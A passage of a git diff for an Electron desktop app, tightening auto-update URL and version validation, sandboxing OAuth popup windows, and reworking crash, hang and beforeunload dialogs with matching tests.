+    const repository = RELEASE_REPOSITORIES[channel]
+    const releasePath = `/${repository}/releases/download/v${normalizedVersion}/`
+    const assetName = decodeURIComponent(url.pathname.slice(releasePath.length))
+    const expectedAssetNames = new Set([
+      `Sim-${normalizedVersion}-universal.dmg`,
+      `Sim-${normalizedVersion}-universal.zip`,
+    ])
     return (
       url.origin === RELEASE_ASSET_ORIGIN &&
-      RELEASE_ASSET_PATHS.some((path) => url.pathname.startsWith(path))
+      url.username === '' &&
+      url.password === '' &&
+      url.search === '' &&
+      url.hash === '' &&
+      url.pathname.startsWith(releasePath) &&
+      !assetName.includes('/') &&
+      expectedAssetNames.has(assetName)
     )
   } catch {
     return false
@@ -200,6 +245,10 @@ export interface UpdaterDeps {
   canSelfUpdate?: () => Promise<boolean>
   /** Test seam: overrides the manual-mode manifest fetch (body or null). */
   fetchManifest?: (url: string) => Promise<string | null>
+  /** Test seam for the macOS-only updater gate. */
+  platform?: NodeJS.Platform
+  /** Flushes desktop-owned state before Squirrel terminates the process. */
+  beforeInstall?: () => Promise<void>
 }
 
 export interface UpdaterHandle {
@@ -237,7 +286,7 @@ export function isNewerVersion(candidateVersion: string, currentVersion: string)
 }
 
 /** A signed shell may only install a strictly newer build from its own environment stream. */
-function isValidAutomaticUpdate(candidateVersion: string, currentVersion: string): boolean {
+function isValidUpdateCandidate(candidateVersion: string, currentVersion: string): boolean {
   return (
     resolveUpdateChannel(candidateVersion) === resolveUpdateChannel(currentVersion) &&
     isNewerVersion(candidateVersion, currentVersion)
@@ -300,6 +349,9 @@ interface UpdateEngine {
  * download link, so the whole pipeline is testable before signing exists.
  */
 export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
+  if ((deps.platform ?? process.platform) !== 'darwin') {
+    return NOOP_UPDATER_HANDLE
+  }
   if (!app.isPackaged && !deps.loadAutoUpdater && !deps.canSelfUpdate) {
     return NOOP_UPDATER_HANDLE
   }
@@ -327,8 +379,11 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
       return null
     }
 
-    autoUpdater.channel = resolveUpdateChannel(currentVersion)
-    autoUpdater.allowDowngrade = false
+    const setChannelWithoutDowngrades = (channel: UpdateChannel) => {
+      autoUpdater.channel = channel
+      autoUpdater.allowDowngrade = false
+    }
+    setChannelWithoutDowngrades(resolveUpdateChannel(currentVersion))
     autoUpdater.autoDownload = deps.autoDownload?.() ?? true
     // Explicit Update actions must reopen Sim after Squirrel swaps the bundle.
     autoUpdater.autoRunAppAfterInstall = true
@@ -338,40 +393,91 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
     // silently installed on quit.
     autoUpdater.autoInstallOnAppQuit = false
     autoUpdater.logger = null
+    let installInFlight = false
 
-    let activeCheckId: number | null = null
-    let nextCheckId = 0
-    let checkTimeout: ReturnType<typeof setTimeout> | null = null
-    const finishCheck = () => {
-      activeCheckId = null
-      if (checkTimeout !== null) {
-        clearTimeout(checkTimeout)
-        checkTimeout = null
+    const quitAndInstall = () => {
+      if (installInFlight) return
+      if (!deps.beforeInstall) {
+        autoUpdater.quitAndInstall()
+        return
+      }
+      installInFlight = true
+      void Promise.resolve()
+        .then(() => deps.beforeInstall?.())
+        .then(() => autoUpdater.quitAndInstall())
+        .catch((error) => {
+          autoUpdater.autoInstallOnAppQuit = false
+          installInFlight = false
+          logger.error('Pre-install teardown failed', {
+            message: getErrorMessage(error, 'unknown'),
+          })
+          deps.events.record('update_error', { message: 'Pre-install teardown failed' })
+          setState({ status: 'error', version: state.version })
+        })
+    }
+
+    let activeProbeId: number | null = null
+    let nextProbeId = 0
+    let probeTimeout: ReturnType<typeof setTimeout> | null = null
+    let activeUpdaterCheckId: number | null = null
+    let nextUpdaterCheckId = 0
+    let updaterCheckTimeout: ReturnType<typeof setTimeout> | null = null
+    let updaterRequestId: number | null = null
+    let acceptedUpdateVersion: string | null = null
+
+    const finishProbe = (probeId: number) => {
+      if (activeProbeId !== probeId) return
+      activeProbeId = null
+      if (probeTimeout !== null) {
+        clearTimeout(probeTimeout)
+        probeTimeout = null
+      }
+    }
+    const finishUpdaterCheck = (checkId: number) => {
+      if (activeUpdaterCheckId !== checkId) return
+      activeUpdaterCheckId = null
+      if (updaterCheckTimeout !== null) {
+        clearTimeout(updaterCheckTimeout)
+        updaterCheckTimeout = null
       }
     }
 
     autoUpdater.on('checking-for-update', () => {
+      if (activeUpdaterCheckId === null) return
       setState({ status: 'checking' })
     })
 
     autoUpdater.on('update-not-available', () => {
-      finishCheck()
+      const checkId = activeUpdaterCheckId
+      if (checkId === null) return
+      finishUpdaterCheck(checkId)
+      if (updaterRequestId === checkId) updaterRequestId = null
       installAfterDownload = false
       setState({ status: 'idle' })
     })
 
     autoUpdater.on('update-available', (info) => {
-      finishCheck()
-      if (!isValidAutomaticUpdate(info.version, currentVersion)) {
+      const checkId = activeUpdaterCheckId
+      if (checkId === null) return
+      finishUpdaterCheck(checkId)
+      if (updaterRequestId === checkId) updaterRequestId = null
+      const channel = resolveUpdateChannel(currentVersion)
+      const validOriginAssets =
+        !originFeedConfigured ||
+        (info.files.length > 0 &&
+          info.files.every((file) => isReleaseAssetUrl(file.url, info.version, channel)))
+      if (!isValidUpdateCandidate(info.version, currentVersion) || !validOriginAssets) {
+        acceptedUpdateVersion = null
         installAfterDownload = false
         autoUpdater.autoInstallOnAppQuit = false
         deps.events.record('update_blocked_version', {
           version: info.version,
-          reason: 'not-newer',
+          reason: validOriginAssets ? 'not-newer' : 'unusable-url',
         })
         setState({ status: 'idle' })
         return
       }
+      acceptedUpdateVersion = info.version
       deps.events.record('update_check', { available: info.version })
       // With auto-download on, download-progress events follow immediately;
       // `available` is the terminal state only when downloads are manual.
@@ -382,6 +488,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
     })
 
     autoUpdater.on('download-progress', (progress) => {
+      if (state.status !== 'downloading') return
       setState({
         status: 'downloading',
         version: state.version,
@@ -390,24 +497,36 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
     })
 
     autoUpdater.on('update-downloaded', (info) => {
-      if (!isValidAutomaticUpdate(info.version, currentVersion)) {
+      if (state.status !== 'downloading' && !installAfterDownload) return
+      if (
+        acceptedUpdateVersion !== info.version ||
+        !isValidUpdateCandidate(info.version, currentVersion)
+      ) {
+        acceptedUpdateVersion = null
         installAfterDownload = false
         autoUpdater.autoInstallOnAppQuit = false
         deps.events.record('update_blocked_version', { version: info.version })
         setState({ status: 'idle' })
         return
       }
+      acceptedUpdateVersion = null
       autoUpdater.autoInstallOnAppQuit = true
       deps.events.record('update_downloaded', { version: info.version })
       setState({ status: 'ready', version: info.version })
       if (installAfterDownload) {
         installAfterDownload = false
-        autoUpdater.quitAndInstall()
+        quitAndInstall()
       }
     })
 
     autoUpdater.on('error', (error) => {
-      finishCheck()
+      const checkId = activeUpdaterCheckId
+      if (checkId !== null) {
+        finishUpdaterCheck(checkId)
+        if (updaterRequestId === checkId) updaterRequestId = null
+      } else if (state.status !== 'downloading') {
+        return
+      }
       installAfterDownload = false
       deps.events.record('update_error', { message: getErrorMessage(error, 'unknown') })
       setState({ status: 'error', version: state.version })
@@ -438,8 +557,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
       })
     type FeedResolution = 'origin' | 'fallback' | 'no-release' | 'skip'
     let originFeedConfigured = false
-    let feedProbeInFlight: Promise<FeedResolution> | null = null
-    const resolveFeedForCheck = async (): Promise<FeedResolution> => {
+    const resolveFeedForCheck = async (probeId: number): Promise<FeedResolution> => {
       if (originFeedConfigured) return 'origin'
       const feedUrl = feedUrlForOrigin(deps.appOrigin())
       const stableBuild = resolveUpdateChannel(currentVersion) === 'latest'
@@ -454,8 +572,9 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
         if (!availability) {
           throw new Error('feed responded non-OK')
         }
+        if (activeProbeId !== probeId) return 'skip'
         autoUpdater.setFeedURL({ provider: 'generic', url: feedUrl, channel: 'latest' })
-        autoUpdater.channel = 'latest'
+        setChannelWithoutDowngrades('latest')
         originFeedConfigured = true
         deps.events.record('update_feed', { url: feedUrl })
         return 'origin'
@@ -469,64 +588,79 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
         return stableBuild ? 'fallback' : 'skip'
       }
     }
-    const feedForCheck = (): Promise<FeedResolution> => {
-      if (originFeedConfigured) return Promise.resolve('origin')
-      if (feedProbeInFlight) return feedProbeInFlight
-      feedProbeInFlight = resolveFeedForCheck().finally(() => {
-        feedProbeInFlight = null
-      })
-      return feedProbeInFlight
+    const startUpdaterCheck = (interactive: boolean) => {
+      if (updaterRequestId !== null) {
+        if (interactive) setState({ status: 'error' })
+        return
+      }
+      const checkId = ++nextUpdaterCheckId
+      activeUpdaterCheckId = checkId
+      updaterRequestId = checkId
+      updaterCheckTimeout = setTimeout(() => {
+        if (activeUpdaterCheckId !== checkId) return
+        finishUpdaterCheck(checkId)
+        deps.events.record('update_error', { message: 'Update check timed out' })
+        if (state.status === 'checking') setState({ status: 'error' })
+      }, UPDATE_CHECK_TIMEOUT_MS)
+      autoUpdater
+        .checkForUpdates()
+        .then(() => {
+          if (updaterRequestId === checkId) updaterRequestId = null
+          if (activeUpdaterCheckId !== checkId) return
+          finishUpdaterCheck(checkId)
+          if (interactive && state.status === 'checking') setState({ status: 'error' })
+        })
+        .catch((error) => {
+          if (updaterRequestId === checkId) updaterRequestId = null
+          if (activeUpdaterCheckId !== checkId) return
+          finishUpdaterCheck(checkId)
+          logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') })
+          if (state.status === 'checking') setState({ status: 'error' })
+        })
     }
 
     return {
       check(interactive = false) {
         if (
-          activeCheckId !== null ||
+          activeProbeId !== null ||
+          activeUpdaterCheckId !== null ||
           state.status === 'available' ||
           state.status === 'downloading' ||
           state.status === 'ready'
         ) {
           return
         }
-        const checkId = ++nextCheckId
-        activeCheckId = checkId
         if (interactive) {
           setState({ status: 'checking' })
         }
-        checkTimeout = setTimeout(() => {
-          if (activeCheckId !== checkId) return
-          finishCheck()
-          deps.events.record('update_error', { message: 'Update check timed out' })
+        if (originFeedConfigured) {
+          startUpdaterCheck(interactive)
+          return
+        }
+        const probeId = ++nextProbeId
+        activeProbeId = probeId
+        probeTimeout = setTimeout(() => {
+          if (activeProbeId !== probeId) return
+          finishProbe(probeId)
+          deps.events.record('update_error', { message: 'Update feed probe timed out' })
           if (state.status === 'checking') setState({ status: 'error' })
         }, UPDATE_CHECK_TIMEOUT_MS)
-        void feedForCheck().then((feed) => {
-          if (activeCheckId !== checkId) return
+        void resolveFeedForCheck(probeId).then((feed) => {
+          if (activeProbeId !== probeId) return
+          finishProbe(probeId)
           if (feed === 'no-release') {
-            finishCheck()
             if (interactive && state.status === 'checking') setState({ status: 'idle' })
             return
           }
           if (feed === 'skip') {
-            finishCheck()
             if (interactive && state.status === 'checking') setState({ status: 'error' })
             return
           }
-          autoUpdater
-            .checkForUpdates()
-            .then(() => {
-              if (activeCheckId !== checkId) return
-              finishCheck()
-              if (interactive && state.status === 'checking') setState({ status: 'error' })
-            })
-            .catch((error) => {
-              if (activeCheckId !== checkId) return
-              finishCheck()
-              logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') })
-              if (state.status === 'checking') setState({ status: 'error' })
-            })
+          startUpdaterCheck(interactive)
         })
       },
       advance() {
+        setState({ status: 'downloading', version: state.version })
         autoUpdater.downloadUpdate().catch((error) => {
           installAfterDownload = false
           logger.warn('Update download failed', { message: getErrorMessage(error, 'unknown') })
@@ -534,7 +668,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
         })
       },
       install() {
-        autoUpdater.quitAndInstall()
+        quitAndInstall()
       },
       setAutoDownload(enabled) {
         autoUpdater.autoDownload = enabled
@@ -549,20 +683,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
         const response = await net.fetch(url, {
           signal: AbortSignal.timeout(UPDATE_CHECK_TIMEOUT_MS),
         })
-        return response.ok ? await response.text() : null
+        return readUpdateManifest(response)
       })
     let downloadUrl: string | null = null
-    let checkInFlight = false
+    let activeCheckId: number | null = null
+    let nextCheckId = 0
+    let checkTimeout: ReturnType<typeof setTimeout> | null = null
 
     const doCheck = async () => {
-      if (checkInFlight || state.status === 'available') return
-      checkInFlight = true
+      if (activeCheckId !== null || state.status === 'available') return
+      const checkId = ++nextCheckId
+      activeCheckId = checkId
+      downloadUrl = null
       setState({ status: 'checking', manual: true })
+      checkTimeout = setTimeout(() => {
+        if (activeCheckId !== checkId) return
+        activeCheckId = null
+        checkTimeout = null
+        deps.events.record('update_error', { message: 'Manual update check timed out' })
+        setState({ status: 'error', manual: true })
+      }, UPDATE_CHECK_TIMEOUT_MS)
       try {
         const feedUrl = feedUrlForOrigin(deps.appOrigin())
         const manifest = feedUrl ? await fetchManifest(`${feedUrl}/latest-mac.yml`) : null
+        if (activeCheckId !== checkId) return
         const version = manifest ? (/^version:\s*(\S+)\s*$/m.exec(manifest)?.[1] ?? null) : null
-        if (!manifest || !version || !isNewerVersion(version, currentVersion)) {
+        if (!manifest || !version || !isValidUpdateCandidate(version, currentVersion)) {
           setState({ status: 'idle', manual: true })
           return
         }
@@ -576,7 +722,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
         const urls = Array.from(
           manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm),
           (m) => m[1]
-        ).filter(isReleaseAssetUrl)
+        ).filter((url) => isReleaseAssetUrl(url, version, resolveUpdateChannel(currentVersion)))
         downloadUrl =
           urls.find((url) => url.endsWith('.dmg')) ??
           urls.find((url) => url.endsWith('.zip')) ??
@@ -597,10 +743,17 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
         deps.events.record('update_check', { available: version, manual: true })
         setState({ status: 'available', version, manual: true })
       } catch (error) {
+        if (activeCheckId !== checkId) return
         logger.warn('Manual update check failed', { message: getErrorMessage(error, 'unknown') })
         setState({ status: 'error', version: state.version, manual: true })
       } finally {
-        checkInFlight = false
+        if (activeCheckId === checkId) {
+          activeCheckId = null
+          if (checkTimeout !== null) {
+            clearTimeout(checkTimeout)
+            checkTimeout = null
+          }
+        }
       }
     }
 
@@ -628,7 +781,12 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
 
   const canSelfUpdate = deps.canSelfUpdate ?? detectSelfUpdateCapability
   void canSelfUpdate()
-    .catch(() => true)
+    .catch((error) => {
+      logger.warn('Could not detect self-update capability; using manual updates', {
+        message: getErrorMessage(error, 'unknown'),
+      })
+      return false
+    })
     .then((capable) => {
       engine = capable ? buildAutoEngine() : buildManualEngine()
       if (!engine) {
diff --git a/apps/desktop/src/main/window.test.ts b/apps/desktop/src/main/window.test.ts
index 85644923119..b529d9a37c4 100644
--- a/apps/desktop/src/main/window.test.ts
+++ b/apps/desktop/src/main/window.test.ts
@@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 vi.mock('electron', () => import('@/test/electron-mock'))
 
-import { BrowserWindow, systemPreferences } from 'electron'
+import { BrowserWindow, dialog, systemPreferences } from 'electron'
 import type { ConfigStore } from '@/main/config'
 import type { EventRecorder } from '@/main/observability'
 import {
@@ -244,6 +244,105 @@ describe('createSecureWebPreferences', () => {
 })
 
 describe('createMainWindow', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+  })
+
+  function createTestWindow(isMandatoryRelaunchPending: () => boolean = () => false) {
+    const config = {
+      filePath: '/tmp/settings.json',
+      getOrigin: vi.fn(() => APP),
+      setOrigin: vi.fn(),
+      get: vi.fn(() => undefined),
+      set: vi.fn(),
+    } as unknown as ConfigStore
+    const events = {
+      filePath: '/tmp/events.jsonl',
+      record: vi.fn(),
+    } satisfies EventRecorder
+    const win = createMainWindow({
+      config,
+      events,
+      appOrigin: () => APP,
+      partition: 'persist:sim',
+      preloadPath: '/tmp/preload.cjs',
+      isPackaged: false,
+      onClosed: vi.fn(),
+      isMandatoryRelaunchPending,
+    })
+    const contentHandlers = new Map(
+      vi.mocked(win.webContents.on).mock.calls as unknown as Array<
+        [string, (...args: never[]) => unknown]
+      >
+    )
+    return { events, win, contentHandlers }
+  }
+
+  it('makes Stay the safe keyboard default for beforeunload', () => {
+    const { contentHandlers } = createTestWindow()
+    const handler = contentHandlers.get('will-prevent-unload')
+    const event = { preventDefault: vi.fn() }
+
+    vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(0)
+    handler?.(event as never)
+
+    expect(dialog.showMessageBoxSync).toHaveBeenCalledWith(
+      expect.any(BrowserWindow),
+      expect.objectContaining({
+        buttons: ['Stay', 'Leave'],
+        defaultId: 0,
+        cancelId: 0,
+      })
+    )
+    expect(event.preventDefault).not.toHaveBeenCalled()
+
+    vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(1)
+    handler?.(event as never)
+    expect(event.preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('allows a committed mandatory relaunch through beforeunload', () => {
+    const { contentHandlers } = createTestWindow(() => true)
+    const handler = contentHandlers.get('will-prevent-unload')
+    const event = { preventDefault: vi.fn() }
+
+    handler?.(event as never)
+
+    expect(event.preventDefault).toHaveBeenCalledOnce()
+    expect(dialog.showMessageBoxSync).not.toHaveBeenCalled()
+  })
+
+  it('queues crash recovery behind an open hang dialog without stacking dialogs', async () => {
+    let resolveHang: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined
+    vi.mocked(dialog.showMessageBox)
+      .mockImplementationOnce(
+        () =>
+          new Promise((resolve) => {
+            resolveHang = resolve
+          })
+      )
+      .mockResolvedValue({ response: 0, checkboxChecked: false })
+    const { contentHandlers, events } = createTestWindow()
+
+    contentHandlers.get('unresponsive')?.()
+    contentHandlers.get('render-process-gone')?.(
+      undefined as never,
+      { reason: 'crashed', exitCode: 9 } as never
+    )
+    contentHandlers.get('render-process-gone')?.(
+      undefined as never,
+      { reason: 'crashed', exitCode: 9 } as never
+    )
+
+    expect(dialog.showMessageBox).toHaveBeenCalledTimes(1)
+    expect(events.record).toHaveBeenCalledWith('renderer_unresponsive')
+    expect(events.record).toHaveBeenCalledWith('renderer_gone', expect.any(Object))
+    expect(events.record).toHaveBeenCalledTimes(2)
+
+    resolveHang?.({ response: 0, checkboxChecked: false })
+    await vi.waitFor(() => expect(dialog.showMessageBox).toHaveBeenCalledTimes(2))
+  })
+
   it('keeps the native macOS fullscreen titlebar blank', () => {
     const config = {
       filePath: '/tmp/settings.json',
@@ -265,6 +364,7 @@ describe('createMainWindow', () => {
       preloadPath: '/tmp/preload.cjs',
       isPackaged: false,
       onClosed: vi.fn(),
+      isMandatoryRelaunchPending: () => false,
       platform: 'darwin',
     })
 
@@ -331,6 +431,7 @@ describe('createMainWindow', () => {
       preloadPath: '/tmp/preload.cjs',
       isPackaged: false,
       onClosed: vi.fn(),
+      isMandatoryRelaunchPending: () => false,
       restorePosition: false,
     })
 
diff --git a/apps/desktop/src/main/window.ts b/apps/desktop/src/main/window.ts
index 5ec4c02b7f8..dc9390056a5 100644
--- a/apps/desktop/src/main/window.ts
+++ b/apps/desktop/src/main/window.ts
@@ -198,6 +198,8 @@ export interface CreateMainWindowDeps {
   preloadPath: string
   isPackaged: boolean
   onClosed: () => void
+  /** A committed process restart must not be cancelled by a renderer's beforeunload handler. */
+  isMandatoryRelaunchPending: () => boolean
   onFullScreenChange?: (isFullScreen: boolean) => void
   /**
    * Restores the persisted screen position for the first window. Secondary
@@ -283,21 +285,57 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
   })
 
   win.webContents.on('will-prevent-unload', (event) => {
+    if (deps.isMandatoryRelaunchPending()) {
+      event.preventDefault()
+      return
+    }
     const choice = dialog.showMessageBoxSync(win, {
       type: 'question',
-      buttons: ['Leave', 'Stay'],
+      buttons: ['Stay', 'Leave'],
       defaultId: 0,
-      cancelId: 1,
+      cancelId: 0,
       message: 'Leave Sim?',
       detail: 'Changes you made may not be saved.',
     })
-    if (choice === 0) {
+    if (choice === 1) {
       event.preventDefault()
     }
   })
 
+  let recoveryDialog: 'crash' | 'hang' | null = null
+  let crashPendingAfterHang = false
+
+  const showCrashRecovery = (): void => {
+    if (win.isDestroyed()) return
+    if (recoveryDialog !== null) {
+      if (recoveryDialog === 'hang') crashPendingAfterHang = true
+      return
+    }
+    recoveryDialog = 'crash'
+    void dialog
+      .showMessageBox(win, {
+        type: 'error',
+        buttons: ['Reload', 'Quit Sim'],
+        defaultId: 0,
+        cancelId: 0,
+        message: 'Sim encountered a problem',
+        detail: 'The page stopped unexpectedly. Reload to pick up where you left off.',
+      })
+      .then(({ response }) => {
+        if (win.isDestroyed()) return
+        if (response === 0) win.webContents.reload()
+        else app.quit()
+      })
+      .catch((error) => {
+        logger.error('Could not present renderer recovery', { error: getErrorMessage(error) })
+      })
+      .finally(() => {
+        recoveryDialog = null
+      })
+  }
+
   win.webContents.on('render-process-gone', (_event, details) => {
-    if (details.reason === 'clean-exit') {
+    if (details.reason === 'clean-exit' || recoveryDialog === 'crash' || crashPendingAfterHang) {
       return
     }
     deps.events.record('renderer_gone', {
@@ -305,38 +343,12 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
       exitCode: details.exitCode,
       crashDumpDir: app.getPath('crashDumps'),
     })
-    setTimeout(() => {
-      if (win.isDestroyed()) {
-        return
-      }
-      void dialog
-        .showMessageBox(win, {
-          type: 'error',
-          buttons: ['Reload', 'Quit Sim'],
-          defaultId: 0,
-          cancelId: 0,
-          message: 'Sim encountered a problem',
-          detail: 'The page stopped unexpectedly. Reload to pick up where you left off.',
-        })
-        .then(({ response }) => {
-          if (win.isDestroyed()) {
-            return
-          }
-          if (response === 0) {
-            win.webContents.reload()
-          } else {
-            app.quit()
-          }
-        })
-    }, 0)
+    showCrashRecovery()
   })
 
-  let hangDialogOpen = false
   win.webContents.on('unresponsive', () => {
-    if (hangDialogOpen || win.isDestroyed()) {
-      return
-    }
-    hangDialogOpen = true
+    if (recoveryDialog !== null || win.isDestroyed()) return
+    recoveryDialog = 'hang'
     deps.events.record('renderer_unresponsive')
     void dialog
       .showMessageBox(win, {
@@ -348,14 +360,22 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
         detail: 'You can wait for it to recover or reload the page.',
       })
       .then(({ response }) => {
-        hangDialogOpen = false
         if (!win.isDestroyed() && response === 1) {
           win.webContents.reload()
         }
       })
-  })
-  win.webContents.on('responsive', () => {
-    hangDialogOpen = false
+      .catch((error) => {
+        logger.error('Could not present unresponsive renderer recovery', {
+          error: getErrorMessage(error),
+        })
+      })
+      .finally(() => {
+        recoveryDialog = null
+        if (crashPendingAfterHang) {
+          crashPendingAfterHang = false
+          showCrashRecovery()
+        }
+      })
   })
 
   let zoomRestored = false
diff --git a/apps/desktop/src/main/windows.test.ts b/apps/desktop/src/main/windows.test.ts
index 70c21ead0ce..c508f8b47ae 100644
--- a/apps/desktop/src/main/windows.test.ts
+++ b/apps/desktop/src/main/windows.test.ts
@@ -29,13 +29,14 @@ describe('attachWindowOpenPolicy', () => {
     vi.mocked(shell.openExternal).mockClear()
   })
 
-  function setup() {
+  function setup(isMandatoryRelaunchPending: () => boolean = () => false) {
     const contents = makeContents()
     const openAppWindow = vi.fn()
     attachWindowOpenPolicy(contents as unknown as WebContents, {
       appOrigin: () => APP,
       openAppWindow,
       allowHttpLocalhost: false,
+      isMandatoryRelaunchPending,
     })
     return { contents, openAppWindow }
   }
@@ -46,12 +47,27 @@ describe('attachWindowOpenPolicy', () => {
       url: 'https://mcp.example/authorize',
       frameName: 'mcp-oauth-s1',
     })
-    expect(result).toEqual({ action: 'allow' })
+    expect(result).toEqual({
+      action: 'allow',
+      overrideBrowserWindowOptions: {
+        webPreferences: expect.objectContaining({
+          preload: undefined,
+          additionalArguments: [],
+          contextIsolation: true,
+          nodeIntegration: false,
+          sandbox: true,
+          webSecurity: true,
+          webviewTag: false,
+        }),
+      },
+    })
   })
 
   it('allows blank children for the blank-then-assign pattern', () => {
     const { contents } = setup()
-    expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toEqual({ action: 'allow' })
+    expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toMatchObject({
+      action: 'allow',
+    })
   })
 
   it('opens internal new-window requests as full Sim windows', () => {
@@ -81,6 +97,38 @@ describe('attachWindowOpenPolicy', () => {
     const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
     expect(didCreateWindow).toBeDefined()
   })
+
+  it('allows a mandatory relaunch through a child beforeunload', () => {
+    const { contents } = setup(() => true)
+    const childContents = makeContents()
+    const child = { webContents: childContents }
+    const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
+    const event = { preventDefault: vi.fn() }
+
+    didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' })
+    const willPreventUnload = childContents.on.mock.calls.find(
+      ([eventName]) => eventName === 'will-prevent-unload'
+    )
+    willPreventUnload?.[1](event)
+
+    expect(event.preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('leaves child beforeunload untouched during ordinary use', () => {
+    const { contents } = setup()
+    const childContents = makeContents()
+    const child = { webContents: childContents }
+    const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
+    const event = { preventDefault: vi.fn() }
+
+    didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' })
+    const willPreventUnload = childContents.on.mock.calls.find(
+      ([eventName]) => eventName === 'will-prevent-unload'
+    )
+    willPreventUnload?.[1](event)
+
+    expect(event.preventDefault).not.toHaveBeenCalled()
+  })
 })
 
 describe('popup registry', () => {
diff --git a/apps/desktop/src/main/windows.ts b/apps/desktop/src/main/windows.ts
index 44a16332b86..d5e84a971d7 100644
--- a/apps/desktop/src/main/windows.ts
+++ b/apps/desktop/src/main/windows.ts
@@ -1,5 +1,5 @@
 import { createLogger } from '@sim/logger'
-import type { BrowserWindow, WebContents } from 'electron'
+import type { BrowserWindow, BrowserWindowConstructorOptions, WebContents } from 'electron'
 import {
   classifyBlankChildNavigation,
   classifyWindowOpen,
@@ -11,6 +11,23 @@ const logger = createLogger('DesktopWindows')
 
 const popupContents = new WeakSet<WebContents>()
 
+/**
+ * Child windows share the opener's session for OAuth state and window.opener
+ * messaging. These preferences isolate ordinary OAuth children from Sim's
+ * privileged preload.
+ */
+const ISOLATED_CHILD_WINDOW_OPTIONS = {
+  webPreferences: {
+    preload: undefined,
+    additionalArguments: [],
+    contextIsolation: true,
+    nodeIntegration: false,
+    sandbox: true,
+    webSecurity: true,
+    webviewTag: false,
+  },
+} satisfies BrowserWindowConstructorOptions
+
 /**
  * Marks a WebContents as a guarded popup child (MCP OAuth, blank-then-assign)
  * so the navigation classifier can apply the more permissive popup policy.
@@ -27,6 +44,7 @@ export interface WindowPolicyDeps {
   appOrigin: () => string
   openAppWindow: (url: string) => void
   allowHttpLocalhost: boolean
+  isMandatoryRelaunchPending: () => boolean
 }
 
 /**
@@ -42,7 +60,10 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
     switch (action) {
       case 'popup-mcp':
       case 'popup-blank':
-        return { action: 'allow' }
+        return {
+          action: 'allow',
+          overrideBrowserWindowOptions: ISOLATED_CHILD_WINDOW_OPTIONS,
+        }
       case 'popup-internal': {
         deps.openAppWindow(details.url)
         return { action: 'deny' }
@@ -59,6 +80,11 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
   contents.on('did-create-window', (child, details) => {
     registerPopupContents(child.webContents)
     attachWindowOpenPolicy(child.webContents, deps)
+    child.webContents.on('will-prevent-unload', (event) => {
+      if (deps.isMandatoryRelaunchPending()) {
+        event.preventDefault()
+      }
+    })
     const kind = classifyWindowOpen(details.url, details.frameName, deps.appOrigin())
     if (kind === 'popup-blank') {
       attachBlankChildGuards(child, deps)
@@ -67,9 +93,9 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
 }
 
 /**
- * Routes the first real navigation of an about:blank child: same-origin URLs
- * open in a full Sim window, external URLs open in the system browser, and
- * the child closes either way.
+ * Routes the first real navigation of an about:blank child. Electron creates
+ * that transient document with inherited preferences, so it is treated only
+ * as a handoff: the first real URL opens elsewhere and the child closes.
  */
 function attachBlankChildGuards(child: BrowserWindow, deps: WindowPolicyDeps): void {
   child.webContents.on('will-navigate', (event, url) => {
diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts
index 4e294b4af47..b62def2f525 100644
--- a/apps/desktop/src/preload/index.ts
+++ b/apps/desktop/src/preload/index.ts
@@ -483,9 +483,6 @@ const api: SimDesktopApi = {
       ipcRenderer.invoke('terminal:dispose-scope', scopeId),
     suspendScope: (scopeId: string): Promise<boolean> =>
       ipcRenderer.invoke('terminal:suspend-scope', scopeId),
-    dispose: (): void => {
-      ipcRenderer.send('terminal:dispose')
-    },
     onData: (
       callback: (terminalId: string, data: string, scopeId: string) => void
     ): (() => void) => {
diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts
index 92ab79f12c3..264e5342b67 100644
--- a/apps/desktop/src/test/electron-mock.ts
+++ b/apps/desktop/src/test/electron-mock.ts
@@ -22,6 +22,8 @@ export const app = {
   on: vi.fn(),
   once: vi.fn(),
   quit: vi.fn(),
+  exit: vi.fn(),
+  relaunch: vi.fn(),
   focus: vi.fn(),
   enableSandbox: vi.fn(),
   requestSingleInstanceLock: vi.fn(() => true),
@@ -222,9 +224,11 @@ export class WebContentsView {
 export class BrowserWindow {
   static fromWebContents = vi.fn(() => null)
   static getFocusedWindow = vi.fn(() => null)
+  static nextId = 1
